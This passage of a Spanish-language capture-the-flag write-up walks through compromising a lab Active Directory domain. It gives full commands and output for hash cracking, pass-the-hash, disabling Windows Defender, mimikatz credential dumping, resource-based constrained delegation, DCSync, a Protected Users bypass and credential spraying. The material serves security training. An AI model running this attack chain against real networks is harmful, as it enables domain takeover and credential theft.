❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --rules:d3ad0ne
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
sshhiinnoobbii!! (ATHOMPSON)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Curiosamente el usuario AThomson
es un administrador local en el equipo GELUS
PS C:\Users\yamano\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
ROUNDSOFT\AThompson
ROUNDSOFT\Domain Admins
The command completed successfully.
PS C:\Users\yamano\Documents>
Al ser administrador local en GELUS
al autenticarnos a este equipo nos devuelve un Pwn3d!
por lo que podemos dumpear la sam
y ver todos los hashes NT
❯ crackmapexec smb gelus.roundsoft.local -u athompson -p 'sshhiinnoobbii!!'
SMB gelus.roundsoft.local 445 GELUS [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB gelus.roundsoft.local 445 GELUS [+] Roundsoft.local\athompson:sshhiinnoobbii!! (Pwn3d!)
❯ crackmapexec smb gelus.roundsoft.local -u athompson -p 'sshhiinnoobbii!!' --sam
SMB gelus.roundsoft.local 445 GELUS [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB gelus.roundsoft.local 445 GELUS [+] Roundsoft.local\athompson:sshhiinnoobbii!! (Pwn3d!)
SMB gelus.roundsoft.local 445 GELUS [*] Dumping SAM hashes
SMB gelus.roundsoft.local 445 GELUS Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3e6f84b9fbe9eef55078e76115b3a9c:::
SMB gelus.roundsoft.local 445 GELUS Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB gelus.roundsoft.local 445 GELUS DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB gelus.roundsoft.local 445 GELUS WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b89195ed259b08446b62a25dc930530b:::
Podemos simplemente conectarnos con el hash NT del usuario Administrator
haciendo un passthehash con evil-winrm
y leer finalmente la flag en el escritorio
❯ evil-winrm -i gelus.roundsoft.local -u Administrator -H e3e6f84b9fbe9eef55078e76115b3a9c
PS C:\Users\Administrator\Documents> whoami
gelus\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
RPG{l3ave_my_hash3s_al0ne!}
PS C:\Users\Administrator\Documents>
Collapse of the empire
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}
Para evitar problemas ya que somos administradores desactivaremos el antivirus
PS C:\Users\Administrator\Documents> Set-MpPreference -DisableRealTimeMonitoring $true -DisableIOAVProtection $true
PS C:\Users\Administrator\Documents> cmd /c "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2004.6-0\MpCmdRun.exe" -RemoveDefinitions -All
Service Version: 4.18.2203.5
Engine Version: 1.1.19200.5
AntiSpyware Signature Version: 1.363.1464.0
AntiVirus Signature Version: 1.363.1464.0
Starting engine and signature rollback to none...
Done!
PS C:\Users\Administrator\Documents>
Subimos mimikatz
y dumpeamos las logonpasswords
, encontramos varios hashes interesantes, pero resalta uno que antes no teniamos y es el hash del usuario jops
PS C:\Users\Administrator\Documents> upload mimikatz.exe
Info: Uploading mimikatz.exe to C:\Users\Administrator\Documents\mimikatz.exe
Data: 1807016 bytes of 1807016 bytes copied
Info: Upload successful!
PS C:\Users\Administrator\Documents> .\mimikatz.exe "sekurlsa::logonPasswords" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # sekurlsa::logonPasswords
Authentication Id : 0 ; 391204 (00000000:0005f824)
Session : Interactive from 1
User Name : athompson
Domain : ROUNDSOFT
Logon Server : SHINRA
Logon Time : 8/25/2023 6:50:25 PM
SID : S-1-5-21-2284550090-1208917427-1204316795-1676
msv :
[00000003] Primary
* Username : AThompson
* Domain : ROUNDSOFT
* NTLM : 14b1991918cdba8474847c8848a8b656
* SHA1 : 2b416c46d974004d9db7f799792639729cf7c137
* DPAPI : da282f62633c3e7bdeadb02816ff7be6
tspkg :
wdigest :
* Username : AThompson
* Domain : ROUNDSOFT
* Password : (null)
kerberos :
* Username : AThompson
* Domain : ROUNDSOFT.LOCAL
* Password : (null)
ssp :
credman :
[00000000]
* Username : roundsoft\ruby_adm
* Domain : gelus
* Password : b3aut1fu1_lyk_@_g3m!
Authentication Id : 0 ; 68684 (00000000:00010c4c)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 8/25/2023 6:49:40 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : GELUS$
* Domain : ROUNDSOFT
* NTLM : 0bb6f6f24c1afa9ceabc119fed53b9ba
* SHA1 : 332608fd6cb7fdc10af757ae38bf737fb5b8c9a2
tspkg :
wdigest :
* Username : GELUS$
* Domain : ROUNDSOFT
* Password : (null)
kerberos :
* Username : GELUS$
* Domain : Roundsoft.local
* Password : 62 c5 38 18 d9 c2 d9 b0 12 30 c0 91 77 5d f3 a1 75 1a 1e d3 a8 e5 b7 b1 5b 83 cb 50 a6 f2 31 19 00 c3 07 6c b3 dc 85 b3 41 3b 8f 16 1b df 74 6d 7e d2 0f d9 4a b2 52 66 4b 54 13 dd 93 dd 15 b3 76 88 62 f3 11 34 8b ea 2c db f2 af 67 d6 67 2f a2 f2 6f 4b 6c 1a 7c ec 1f b7 c2 19 f0 11 d6 98 66 d9 61 23 55 15 2a d7 b5 77 0d 03 18 8a c8 78 1a e7 c8 66 4d d8 c2 1e 36 d7 fb b7 32 ba c6 d4 08 52 be 5a 8e 7d 3b 5c 17 0c 19 f4 83 96 a0 b3 25 8d 43 71 1c 02 80 59 fa df e3 a7 f5 71 bd 53 5d 8d d6 05 0d 7d c7 bc d3 0c 22 f6 bb 67 3f 4b 29 ff 01 52 64 39 a7 d5 41 04 5f 7b 16 31 82 4f 95 50 a7 cd d7 e8 b9 b5 e2 61 28 62 43 81 5d cc 9a 87 95 e2 0e c1 47 7f d7 ef 55 45 e0 22 2f 09 a9 02 23 5e 60 1a 90 68 87 b6 a0 e6 a1 7f a4 0b
ssp :
credman :
Authentication Id : 0 ; 93648 (00000000:00016dd0)
Session : Batch from 0
User Name : repository_admin
Domain : ROUNDSOFT
Logon Server : SHINRA
Logon Time : 8/25/2023 6:49:58 PM
SID : S-1-5-21-2284550090-1208917427-1204316795-1110
msv :
[00000003] Primary
* Username : repository_admin
* Domain : ROUNDSOFT
* NTLM : 61191aeb8b9a60d01e41faa8bacb2334
* SHA1 : fc4b6cb866a39ff10daacc9273f46a68d03dd0c5
* DPAPI : be550fd796d51b6a89a33bb2f91b8bc2
tspkg :
wdigest :
* Username : repository_admin
* Domain : ROUNDSOFT
* Password : (null)
kerberos :
* Username : repository_admin
* Domain : ROUNDSOFT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 422631 (00000000:000672e7)
Session : Batch from 0
User Name : jops
Domain : ROUNDSOFT
Logon Server : SHINRA
Logon Time : 8/25/2023 6:50:28 PM
SID : S-1-5-21-2284550090-1208917427-1204316795-1602
msv :
[00000003] Primary
* Username : jops
* Domain : ROUNDSOFT
* NTLM : f7b8e6e5af23f06fdbb559d1888261fa
* SHA1 : f96c0dfad6ef2f6c97d1a1076705a0a65b1b10b8
* DPAPI : 1364f3312f690918fbe42fa9b55adaed
tspkg :
wdigest :
* Username : jops
* Domain : ROUNDSOFT
* Password : (null)
kerberos :
* Username : jops
* Domain : ROUNDSOFT.LOCAL
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator\Documents>
El usuario jops
pertenece al grupo Operators
, este tiene privilegio GenericWrite
sobre el equipo SHINRA
que es el DC por lo que podriamos hacer un ataque RBCD
Este tipo de ataque RBCD
se puede hacer facilmente con las herramientas impacket
, creando la cuenta de equipo con addcomputer
y hacer la delegacion con rbcd
❯ impacket-addcomputer -computer-name attackersystem$ -computer-pass 123456 'roundsoft.local/jops' -hashes :f7b8e6e5af23f06fdbb559d1888261fa
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account attackersystem$ with password 123456.
❯ impacket-rbcd -delegate-from attackersystem$ -delegate-to SHINRA$ -action write 'roundsoft.local/jops' -hashes :f7b8e6e5af23f06fdbb559d1888261fa
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] attackersystem$ can now impersonate users on SHINRA$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] attackersystem$ (S-1-5-21-2284550090-1208917427-1204316795-10101)
Al autenticarnos como la maquina intentando obtener un ticket
suplantando a Administrator nos devuelve error aunque si podemos suplantar al equipo SHINRA$
❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user attackersystem$ or initial TGT not forwardable
❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate SHINRA$
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Impersonating SHINRA$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in SHINRA$.ccache
❯ export KRB5CCNAME='SHINRA$.ccache'
Auntenticandonos con el hash del equipo SHINRA$
que es el DC y este tener privilegios DCSync
sobre el dominio podemos dumpear el hash de Administrator
❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache
SMB shinra.roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB shinra.roundsoft.local 445 SHINRA [+] Roundsoft.local\SHINRA$ from ccache
❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache --ntds drsuapi --user Administrator
SMB shinra.roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB shinra.roundsoft.local 445 SHINRA [+] Roundsoft.local\SHINRA$ from ccache
SMB shinra.roundsoft.local 445 SHINRA [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB shinra.roundsoft.local 445 SHINRA [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB shinra.roundsoft.local 445 SHINRA administrator:500:aad3b435b51404eeaad3b435b51404ee:fe29edb1766170b8afe7a55cbf360885:::
Sin embargo al intentar autenticarnos con el hash NT de Administrator
a nivel de dominio nos devuelve un error ya que hay una restriccion
en esta cuenta
❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 STATUS_ACCOUNT_RESTRICTION
Esto se debe a que el usuario Administrator
pertenece al grupo Protected Users
Esta restriccion es facil de bypassear y es que si simplemente agregamos el parametro -k
para autenticarnos por kerberos donde no aplica, devuelve Pwn3d!
❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885 -k
SMB shinra.roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB shinra.roundsoft.local 445 SHINRA [+] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 (Pwn3d!)
Podemos conectarnos con wmiexec
y obtener una shell donde leemos la flag
❯ impacket-wmiexec roundsoft.local/Administrator@shinra.roundsoft.local -hashes :fe29edb1766170b8afe7a55cbf360885 -k -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator
PS C:\> hostname
Shinra
PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}
PS C:\>
Aunque si dumpeamos los secretos lsa
con crackmapexec
encontramos la contraseña del usuario Administrator
en texto plano y podemos conectarnos
❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885 -k --lsa
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 (Pwn3d!)
SMB roundsoft.local 445 SHINRA [+] Dumping LSA secrets
SMB roundsoft.local 445 SHINRA ROUNDSOFT\SHINRA$:aes256-cts-hmac-sha1-96:beadb3a924678aa10bcb93c380e61e8f6ffdb856053b43124dc91c87fd10fc83
SMB roundsoft.local 445 SHINRA ROUNDSOFT\SHINRA$:aes128-cts-hmac-sha1-96:4f79bd07a999d2c9dad54d92c1b1e0e4
SMB roundsoft.local 445 SHINRA ROUNDSOFT\SHINRA$:des-cbc-md5:da54bc386bdc34f1
SMB roundsoft.local 445 SHINRA ROUNDSOFT\SHINRA$:plain_password_hex:7525fd02c56f75333058d0fff13f02f73b1d08b7864f6c966b0721cce5cdcadf90080fb560b3a675726d9dc43b21846d2a6fd02692ac94250e0b82257664b66c72ab06e93b7476143529e6947ce60fb1db4448d0c4f76517688d1902ec7e81f1fe741aaa9ba1eba5e3cec86523bf4057aa04525ddeb40dcd8a66429791962af93dd9dc5af7d44eb446df8755d16b8ee62ef88da153ae7d02d0b98defeae6154d0b346a157c39fca5a198b74ec45174286002f44a8705de6f93113b8a63ae8d02f11033c2877cbebf6a9d86eb0602cba6665e5a6344af9588908d45244ee303ece614118e5077cb2720f9703e5a07954f
SMB roundsoft.local 445 SHINRA ROUNDSOFT\SHINRA$:aad3b435b51404eeaad3b435b51404ee:40a874865912cdcfad83663885215c6b:::
SMB roundsoft.local 445 SHINRA ROUNDSOFT\Administrator:SimianThrash_xiv14
SMB roundsoft.local 445 SHINRA dpapi_machinekey:0x3adf746c69f4e53c29d7a39f3b862599f16320a9
dpapi_userkey:0x519512fd1017c0b60f9b7f9a454342f441896971
SMB roundsoft.local 445 SHINRA NL$KM:d8337f7ba32cde15cfb49a10373f6ba94e4946705727e81ee8a911a81def190ccc4392f39cc7511a06566d60da73227481ecb49f69fc6a8ac852e6f503560d59
❯ crackmapexec smb shinra.roundsoft.local -u Administrator -p SimianThrash_xiv14 -k
SMB shinra.roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB shinra.roundsoft.local 445 SHINRA [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
❯ impacket-wmiexec roundsoft.local/Administrator:SimianThrash_xiv14@shinra.roundsoft.local -k -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator
PS C:\> hostname
Shinra
PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}
PS C:\>
Para eliminar la restriccion
de smb
basta con eliminar al usuario Administrator
del grupo global Protected Users
haciendo uso del comando net group /del
PS C:\> net group "Protected Users" Administrator /del
The command completed successfully.
PS C:\>
Ahora nos autenticamos a nivel de smb
normalmente hacia todos los equipos del dominio
, las credenciales son validas
y hemos comprometido todos los equipos
❯ crackmapexec smb 192.168.125.88-129 -u Administrator -p SimianThrash_xiv14
SMB 192.168.125.88 445 GELUS [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB 192.168.125.128 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB 192.168.125.129 445 LUX [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB 192.168.125.88 445 GELUS [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
SMB 192.168.125.128 445 SHINRA [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
SMB 192.168.125.129 445 LUX [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
Podemos simplemente conectarnos con evil-winrm
a SHINRA
y leer la ultima flag
❯ evil-winrm -i shinra.roundsoft.local -u Administrator -p SimianThrash_xiv14
PS C:\Users\Administrator\Documents> whoami
roundsoft\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}
PS C:\Users\Administrator\Documents>